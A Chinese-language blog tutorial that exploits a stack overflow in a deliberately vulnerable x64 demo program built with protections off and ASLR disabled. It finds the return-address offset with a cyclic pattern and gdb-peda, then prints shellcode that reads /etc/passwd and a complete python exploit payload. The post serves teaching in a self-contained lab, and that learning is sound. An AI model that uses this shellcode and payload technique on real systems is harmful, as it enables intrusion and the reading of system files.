記一次linux x64 的棧溢位

Lang.Liu發表於2016-06-16

0x01 x86與x64的區別

  • 暫存器名稱的不同。如x86下的EBP、ESP在x64中都成為了RBP、RSP。

  • 函式傳參的不同。x86中引數都是儲存在棧上,但在x64中的前六個引數依次儲存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的引數的話才會儲存在棧上。

  • 記憶體地址大小不同。在x64中的記憶體地址不能大於 0x00007fffffffffff ,否則會丟擲異常(0x7fffffffffff = 01111111111111111111111111111111111111111111111)。通常我們嘗試覆蓋棧時出現段錯誤,通常是訪問了大於 0x00007fffffffffff 的地址造成的。

0x02 demo

    int main(int argc, char **argv) { 
        char buffer[256];
        if(argc != 2) {
                exit(0);
        }
        printf("%p\n", buffer);
        strcpy(buffer,  argv[1]);
        printf("%s\n", buffer);
        return 0;
    }

使用:gcc -m64 bof.c -o bof -z execstack -fno-stack-protector 編譯。

編譯完成之後我們把linux系統的ASLR(記憶體空間分佈隨機化)關閉。

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

0x03 溢位棧

可以使用pattern指令碼來計算緩衝區的大小:https://github.com/Svenito/exploit-pattern

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 300

    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7AhAh9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

    liuil@ubuntu:~/Desktop$ ./bof Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
    0x7fff29310170
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
    Segmentation fault (core dumped)

可以發現我們觸發了棧溢位,接下來計算緩衝區的大小。由於程式使用的記憶體地址不能大於0x00007fffffffffff,PC指標並沒有指向類似於0x41414141那樣地址,但是ret指令等於pop rip,我們可以通過檢視棧頂指標的值確定下一步程式執行的地址。

    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffde38 ("Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
    0008| 0x7fffffffde40 ("0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
    0016| 0x7fffffffde48 ("j3Aj4Aj5Aj6Aj7Aj8Aj9")
    0024| 0x7fffffffde50 ("Aj6Aj7Aj8Aj9")
    0032| 0x7fffffffde58 --> 0x396a4138 ('8Aj9')
    0040| 0x7fffffffde60 --> 0x0 
    0048| 0x7fffffffde68 --> 0xc586ca108a1de5d6 
    0056| 0x7fffffffde70 --> 0x400520 (<_start>:    xor    ebp,ebp)
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x0000000000400686 in main ()
    gdb-peda$ x/gx $rsp
    0x7fffffffde38: 0x6a41396941386941

接著使用pattern.py計算緩衝區大小。

    liuil@ubuntu:~/Desktop/script$ ./pattern.py 0x6a41396941386941
    Pattern 0x6a41396941386941 first occurrence at position 264 in pattern.

則緩衝區的大小為264個位元組。

使用peda自帶的checksec功能檢視是否開啟保護:

    gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : disabled
    RELRO     : Partial

發現沒有開啟任何保護,所以我們可以直接將shellcode放置在棧上執行。

則構造payload:shellcode + off + ret 即可。

利用一段現有的shellcode:

    \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

這段shellcode的作用是讀出/etc/passwd的內容。

寫出exp:

    python -c 'print  "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +  "\x7f\xff\xff\xff\xdc\x90"[::-1]'

執行完畢,就可以看到/etc/passwd的內容了。

相關文章